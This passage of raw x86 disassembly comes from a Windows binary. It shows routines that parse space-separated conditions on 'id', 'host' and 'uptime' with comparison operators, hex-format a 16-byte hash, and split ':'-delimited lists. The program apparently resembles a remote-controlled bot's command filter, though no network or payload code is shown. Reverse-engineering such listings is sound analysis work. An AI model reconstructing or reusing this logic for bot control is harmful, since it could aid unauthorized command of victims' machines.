call sub_401591
sub_412C10 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412CB0: ; CODE XREF: ___:loc_40100Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43994E
push eax
mov large fs:0, esp
sub esp, 90h
add ecx, 4
push ebp
push esi
mov esi, [esp+0A8h]
lea ebp, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_412FD6
push ebx
push edi
push offset asc_443600 ; " "
lea eax, [esp+44h]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+2Ch]
push 2
push ecx
mov ecx, esi
mov dword ptr [esp+0B4h], 0
call sub_4016AE
push offset asc_443600 ; " "
lea edx, [esp+14h]
push 3
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 1
call sub_4016AE
push offset asc_443600 ; " "
lea eax, [esp+74h]
push 0
push eax
mov ecx, esi
mov byte ptr [esp+0B4h], 2
call sub_4016AE
mov edi, eax
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 3
call sub_4013D9
lea ecx, [esp+28h]
mov ebx, eax
call sub_4013D9
lea ecx, [esp+40h]
add ebx, eax
call sub_4013D9
mov ecx, edi
add ebx, eax
call sub_4013D9
lea ecx, [esp+70h]
lea edi, [ebx+eax+4]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+58h]
push edi
push ecx
mov ecx, esi
call sub_401E2E
push offset asc_443600 ; " "
lea edx, [esp+8Ch]
push 4
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 4
call sub_4016AE
lea ecx, [esp+70h]
push 1
mov bl, 5
push ecx
mov ecx, eax
mov [esp+0B0h], bl
call sub_401E2E
push eax
mov ecx, ebp
mov byte ptr [esp+0ACh], 6
call sub_40200E
lea ecx, [esp+70h]
mov [esp+0A8h], bl
call sub_401226
mov byte ptr [esp+0A8h], 4
lea ecx, [esp+88h]
call sub_401226
lea edx, [esp+58h]
mov ecx, esi
push edx
call sub_40200E
push offset asc_443D30 ; "!="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E35
xor edi, edi
loc_412E35: ; CODE XREF: ___:00412E31j
push offset asc_443D2C ; "=="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E4C
mov edi, 1
loc_412E4C: ; CODE XREF: ___:00412E45j
push offset asc_443D28 ; ">"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E63
mov edi, 2
loc_412E63: ; CODE XREF: ___:00412E5Cj
push offset asc_443D24 ; "<"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E7A
mov edi, 3
loc_412E7A: ; CODE XREF: ___:00412E73j
push offset aId ; "id"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412ED4
test edi, edi
jnz short loc_412EAA
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset word_44758A
call sub_4012EE
test eax, eax
jz short loc_412ED4
jmp short loc_412EC7
; ---------------------------------------------------------------------------
loc_412EAA: ; CODE XREF: ___:00412E8Ej
cmp edi, 1
jnz short loc_412ED4
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset word_44758A
call sub_4012EE
test eax, eax
jnz short loc_412ED4
loc_412EC7: ; CODE XREF: ___:00412EA8j
push 0
push esi
mov ecx, offset byte_4472A7
call sub_401A32
loc_412ED4: ; CODE XREF: ___:00412E8Aj
; ___:00412EA6j ...
push offset aHost ; "host"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412F27
test edi, edi
jnz short loc_412F08
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset byte_4D60CD
call sub_4013E3
test eax, eax
jnz loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F08: ; CODE XREF: ___:00412EE8j
cmp edi, 1
jnz short loc_412F89
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset byte_4D60CD
call sub_4013E3
test eax, eax
jz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F27: ; CODE XREF: ___:00412EE4j
push offset aUptime ; "uptime"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412F89
lea ecx, [esp+10h]
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ebx, eax
call sub_401654
test edi, edi
jnz short loc_412F5D
cmp eax, ebx
jz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F5D: ; CODE XREF: ___:00412F55j
cmp edi, 1
jnz short loc_412F68
cmp eax, ebx
jnz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F68: ; CODE XREF: ___:00412F60j
cmp edi, 2
jnz short loc_412F73
cmp eax, ebx
jle short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F73: ; CODE XREF: ___:00412F6Bj
cmp edi, 3
jnz short loc_412F89
cmp eax, ebx
jge short loc_412F89
loc_412F7C: ; CODE XREF: ___:00412F06j
; ___:00412F25j ...
push 0
push esi
mov ecx, offset byte_4472A7
call sub_401A32
loc_412F89: ; CODE XREF: ___:00412F00j
; ___:00412F0Bj ...
lea ecx, [esp+58h]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 1
call sub_401226
lea ecx, [esp+28h]
mov byte ptr [esp+0A8h], 0
call sub_401226
lea ecx, [esp+40h]
mov dword ptr [esp+0A8h], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebx
jmp short loc_412FD8
; ---------------------------------------------------------------------------
loc_412FD6: ; CODE XREF: ___:00412CE9j
mov al, 1
loc_412FD8: ; CODE XREF: ___:00412FD4j
mov ecx, [esp+98h]
pop esi
pop ebp
mov large fs:0, ecx
add esp, 9Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4130E0 proc near ; CODE XREF: sub_401654j
nop
call near ptr 27D091Eh
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
mov eax, edx
add eax, ecx
sar eax, 10h
mov edx, eax
shr edx, 1Fh
add eax, edx
retn
sub_4130E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413120 proc near ; CODE XREF: sub_401FFAj
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_413120
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov [esp+20h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+20h+var_4], 0
call sub_401749
lea edi, [esi+60h]
lea eax, [esp+20h+var_12]
push eax
mov ecx, edi
mov byte ptr [esp+24h+var_4], 1
call sub_401F05
sub_413120 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Fh]
lea ebx, [esi+6Ch]
push ecx
mov ecx, ebx
mov byte ptr [esp+20h], 2
call sub_401843
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+1Ch], 3
mov dword ptr [esi], offset off_43E044
call sub_401924
mov ecx, ebx
call sub_401C62
mov ecx, [esp+14h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j
push esi
mov esi, ecx
call sub_401C8F
sub_4131F0 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_413208
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_413208: ; CODE XREF: ___:004131FDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413220 proc near ; CODE XREF: sub_401C8Fj
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_413220
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
mov dword ptr [esi], offset off_43E044
lea edi, [esi+60h]
mov [esp+1Ch+var_4], 3
mov ecx, edi
call sub_401924
lea ebx, [esi+6Ch]
mov ecx, ebx
call sub_401C62
mov ecx, ebx
mov byte ptr [esp+1Ch+var_4], 2
call sub_4014B5
sub_413220 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 1
call sub_4011B8
; ---------------------------------------------------------------------------
lea ecx, [esi+32h]
mov byte ptr [esp+18h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+10h]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132E0 proc near ; CODE XREF: sub_4019F6j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4132E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 15h
push 0Fh
push 7
push 0Fh
lea eax, [esp+58h+var_3C]
push 0Ch
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+32h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_4132E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Ch
push 9
push 1
lea edx, [esp+2Ch]
push 8
push edx
call sub_4019B5
add esp, 18h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4133D0 proc near ; CODE XREF: sub_401CD0j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4133D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0
call sub_4017E4
test eax, eax
jz short loc_413477
lea ecx, [esp+18h+var_14]
call sub_402252
add esi, 6Ch
lea eax, [esp+18h+var_10]
push eax
mov ecx, esi
call sub_4018F2
mov ecx, [eax]
lea edx, [esp+18h+var_10]
mov [esp+18h+var_14], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jz short loc_413477
loc_413438: ; CODE XREF: sub_4133D0+A5j
lea eax, [esp+18h+arg_0]
lea ecx, [esp+18h+var_14]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B72
test eax, eax
lea ecx, [esp+18h+var_14]
jz short loc_41349C
call sub_40118B
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jnz short loc_413438
loc_413477: ; CODE XREF: sub_4133D0+2Ej
; sub_4133D0+66j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 18h
; ---------------------------------------------------------------------------
loc_41349C: ; CODE XREF: sub_4133D0+86j
call sub_40135C
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 18h
sub_4133D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413510 proc near ; CODE XREF: sub_402112j
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_413510
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0
call sub_4017E4
test eax, eax
jz loc_4135E3
lea ecx, [esp+28h+var_18]
call sub_401037
lea ebp, [ebx+60h]
lea eax, [esp+28h+var_14]
push eax
mov ecx, ebp
call sub_401983
mov ecx, [eax]
lea edx, [esp+28h+var_14]
mov [esp+28h+var_18], ecx
push edx
mov ecx, ebp
call sub_402234
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AD7
test al, al
jz short loc_4135E3
loc_41357F: ; CODE XREF: sub_413510+D1j
lea ecx, [esp+28h+var_18]
call sub_4011D1
mov edi, [eax]
sub esp, 18h
lea eax, [esp+40h+arg_0]
mov ecx, esp
mov [esp+40h+var_10], esp
push eax
call sub_4014C9
mov ecx, ebx
call sub_401CD0
mov esi, eax
test esi, esi
jz short loc_4135AC
mov edi, [esi]
loc_4135AC: ; CODE XREF: sub_413510+98j
lea ecx, [esp+28h+arg_0]
push ecx
mov ecx, edi
call sub_401B72
test eax, eax
jz short loc_41360B
test esi, esi
jnz short loc_41360B
lea ecx, [esp+28h+var_18]
call sub_4018B6
lea edx, [esp+28h+var_14]
mov ecx, ebp
push edx
call sub_402234
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AD7
test al, al
jnz short loc_41357F
loc_4135E3: ; CODE XREF: sub_413510+31j
; sub_413510+6Dj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
loc_4135F6: ; CODE XREF: sub_413510+10Ej
mov ecx, [esp+28h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_41360B: ; CODE XREF: sub_413510+AAj
; sub_413510+AEj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, edi
jmp short loc_4135F6
sub_413510 endp
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413670 proc near ; CODE XREF: sub_401F46j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413670
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
lea ecx, [esp+14h+arg_0]
mov [esp+14h+var_4], 1
call sub_4017E4
test eax, eax
jz short loc_413714
lea ecx, [esp+14h+var_14]
call sub_401E1F
lea eax, [esp+14h+var_10]
lea ecx, [esp+14h+arg_18]
push eax
call sub_4012E9
mov ecx, [eax]
lea edx, [esp+14h+var_10]
mov [esp+14h+var_14], ecx
push edx
lea ecx, [esp+18h+arg_18]
call sub_401D89
push eax
lea ecx, [esp+18h+var_14]
call sub_401D5C
test al, al
jz short loc_413714
loc_4136D6: ; CODE XREF: sub_413670+A2j
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_14]
push eax
call sub_401FA5
mov ecx, [eax]
call sub_401B72
test eax, eax
jz short loc_413746
lea ecx, [esp+14h+var_14]
call sub_4020A4
lea ecx, [esp+14h+var_10]
push ecx
lea ecx, [esp+18h+arg_18]
call sub_401D89
push eax
lea ecx, [esp+18h+var_14]
call sub_401D5C
test al, al
jnz short loc_4136D6
loc_413714: ; CODE XREF: sub_413670+2Bj
; sub_413670+64j
lea ecx, [esp+14h+arg_0]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esp+14h+arg_18]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401578
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
loc_413746: ; CODE XREF: sub_413670+7Dj
push esi
lea ecx, [esp+18h+var_14]
call sub_401FA5
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401578
sub_413670 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4137E0 proc near ; CODE XREF: sub_4011DBj
var_A4 = byte ptr -0A4h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_64 = byte ptr -64h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4137E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 98h
push esi
xor esi, esi
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], esi
call sub_4017E4
test eax, eax
jz loc_413913
lea eax, [esp+0A8h+var_64]
push eax
call sub_401A55
add esp, 4
lea ecx, [esp+0A8h+var_A4]
call sub_401424
push offset byte_446F60
lea ecx, [esp+0ACh+var_A4]
mov byte ptr [esp+0ACh+var_4], 1
call sub_4015D7
lea ecx, [esp+0A8h+arg_0]
call sub_4013D9
push eax
lea ecx, [esp+0ACh+arg_0]
call sub_4014D3
lea ecx, [esp+0ACh+var_64]
push eax
push ecx
call sub_401C12
lea edx, [esp+0B4h+var_64]
lea eax, [esp+0B4h+var_74]
push edx
push eax
call sub_402158
add esp, 14h
loc_41387B: ; CODE XREF: sub_4137E0+E8j
lea ecx, [esp+0A8h+var_8C]
call sub_401424
xor ecx, ecx
lea edx, [esp+0A8h+var_8C]
mov cl, [esp+esi+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 2
push ecx
push offset a2_2x ; "%2.2X"
push edx
call sub_40102D
add esp, 0Ch
lea eax, [esp+0A8h+var_8C]
lea ecx, [esp+0A8h+var_A4]
push eax
call sub_4016BD
lea ecx, [esp+0A8h+var_8C]
mov byte ptr [esp+0A8h+var_4], 1
call sub_401226
inc esi
cmp esi, 10h
jl short loc_41387B
mov edx, [esp+0A8h+arg_18]
lea ecx, [esp+0A8h+var_A4]
push ecx
lea ecx, [edx+15h]
call sub_401B72
test eax, eax
mov byte ptr [esp+0A8h+var_4], 0
lea ecx, [esp+0A8h+var_A4]
jnz short loc_41390E
call sub_401226
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_41392C
; ---------------------------------------------------------------------------
loc_41390E: ; CODE XREF: sub_4137E0+10Cj
call sub_401226
loc_413913: ; CODE XREF: sub_4137E0+33j
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_41392C: ; CODE XREF: sub_4137E0+12Cj
mov ecx, [esp+0A8h+var_C]
pop esi
mov large fs:0, ecx
add esp, 0A4h
retn 1Ch
sub_4137E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4139B0 proc near ; CODE XREF: sub_40191Fj
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4139B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
sub esp, 18h
lea eax, [esp+30h+arg_18]
mov ecx, esp
mov [esp+30h+var_14], esp
push eax
mov [esp+34h+var_4], 1
call sub_4014C9
mov ecx, esi
call sub_402112
test eax, eax
jz short loc_413A5E
sub esp, 0Ch
add eax, 54h
mov ecx, esp
mov [esp+24h+var_14], esp
push eax
call sub_40171C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+40h]
mov ecx, esp
mov [esp+40h+var_14], esp
push edx
mov [esp+44h+var_8], 2
call sub_4014C9
mov ecx, esi
mov [esp+40h+var_8], 1
call sub_401F46
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_413A5E
lea ecx, [esp+40h+var_24]
mov byte ptr [esp+40h+var_2C], 0
call sub_401226
lea ecx, [esp+40h+var_C]
mov [esp+40h+var_2C], 0FFFFFFFFh
call sub_401226
mov al, 1
mov ecx, [esp+40h+var_34]
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
; ---------------------------------------------------------------------------
loc_413A5E: ; CODE XREF: sub_4139B0+3Fj
; sub_4139B0+79j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
sub_4139B0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413AE0: ; CODE XREF: ___:00401393j
push 0FFFFFFFFh
push offset loc_439B08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40191F
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413B70 proc near ; CODE XREF: sub_401181j
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
push 0FFFFFFFFh
push offset SEH_413B70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
mov ebp, [esp+48h+arg_18]
xor ebx, ebx
cmp ebp, ebx
mov [esp+48h+var_4], ebx
jz loc_413CB9
lea ecx, [esp+48h+arg_0]
call sub_4017E4
test eax, eax
jz loc_413CB9
push esi
push edi
push offset asc_443C84 ; ":"
lea eax, [esp+54h+var_3C]
push ebx
push eax
lea ecx, [esp+5Ch+arg_0]
xor esi, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jz loc_413C93
add ebp, 54h
loc_413BF0: ; CODE XREF: sub_413B70+11Dj
push 15h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov dword ptr [esp+4Ch+var_3C], eax
cmp eax, ebx
mov byte ptr [esp+4Ch], 2
jz short loc_413C10
mov ecx, eax
call sub_401F2D
jmp short loc_413C12
; ---------------------------------------------------------------------------
loc_413C10: ; CODE XREF: sub_413B70+95j
xor eax, eax
loc_413C12: ; CODE XREF: sub_413B70+9Ej
push offset asc_443C84 ; ":"
lea ecx, [esp+50h+var_20]
push esi
push ecx
lea ecx, [esp+58h+arg_4]
mov [esp+58h], bl
mov [esp+58h+arg_1C], eax
call sub_4016AE
mov ecx, [esp+4Ch+arg_1C]
push eax
mov byte ptr [esp+50h], 3
call sub_40200E
lea ecx, [esp+4Ch+var_20]
mov [esp+4Ch], bl
call sub_401226
lea edx, [esp+4Ch+arg_1C]
mov ecx, ebp
push edx
call sub_40147E
; ---------------------------------------------------------------------------
inc esi
push offset asc_443C84 ; ":"
lea eax, [esp+54h+var_3C]
push esi
push eax
lea ecx, [esp+5Ch+arg_0]
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jnz loc_413BF0
loc_413C93: ; CODE XREF: sub_413B70+77j
lea ecx, [esp+50h+arg_0]
mov [esp+50h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn 1Ch
; ---------------------------------------------------------------------------
loc_413CB9: ; CODE XREF: sub_413B70+26j
; sub_413B70+37j
lea ecx, [esp+48h+arg_0]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+48h+var_C]
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 1Ch
sub_413B70 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413D40 proc near ; CODE XREF: sub_401F2Dj
push esi
mov esi, ecx
call sub_401424
mov eax, esi
pop esi
retn
sub_413D40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413D60: ; CODE XREF: ___:004010F0j
mov eax, [esp+8]
mov edx, [esp+4]
push esi
push eax
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push edx
call sub_401861
mov ecx, esi
call sub_401181
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413DA0 proc near ; CODE XREF: sub_40189Dj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_14 = byte ptr 18h
arg_18 = byte ptr 1Ch
arg_2C = byte ptr 30h
arg_30 = byte ptr 34h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_5C = byte ptr 60h
arg_60 = byte ptr 64h
push 0FFFFFFFFh
push offset SEH_413DA0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebp, ecx
sub esp, 18h
lea eax, [esp+3Ch+arg_30]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push eax
mov [esp+40h+var_4], 4
call sub_4014C9
mov ecx, ebp
call sub_401CD0
xor ebx, ebx
cmp eax, ebx
jnz loc_413F8E
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push edx
call sub_4014C9
mov ecx, ebp
call sub_402112
mov edi, eax
cmp edi, ebx
jz loc_413F8E
push edi
lea eax, [esp+28h+arg_18]
sub esp, 18h
mov ecx, esp
mov [esp+40h+var_14], esp
push eax
call sub_4014C9
mov ecx, ebp
call sub_4011DB
cmp al, bl
jz loc_413F8E
push offset byte_446F60
lea ecx, [esp+28h+arg_48]
call sub_4012EE
test eax, eax
jz short loc_413E87
lea ecx, [edi+2Ah]
call sub_4017E4
lea ecx, [esp+24h+arg_48]
mov esi, eax
call sub_4017E4
loc_413E56: ; CODE XREF: sub_413DA0+D4j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413E7A
cmp cl, bl
jz short loc_413E76
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413E7A
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413E56
loc_413E76: ; CODE XREF: sub_413DA0+C0j
xor eax, eax
jmp short loc_413E7F
; ---------------------------------------------------------------------------
loc_413E7A: ; CODE XREF: sub_413DA0+BCj
; sub_413DA0+CAj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413E7F: ; CODE XREF: sub_413DA0+D8j
cmp eax, ebx
jnz loc_413F8E
loc_413E87: ; CODE XREF: sub_413DA0+A1j
push offset byte_446F60
lea ecx, [esp+28h+arg_60]
call sub_4012EE
test eax, eax
jz short loc_413EE3
lea ecx, [edi+3Fh]
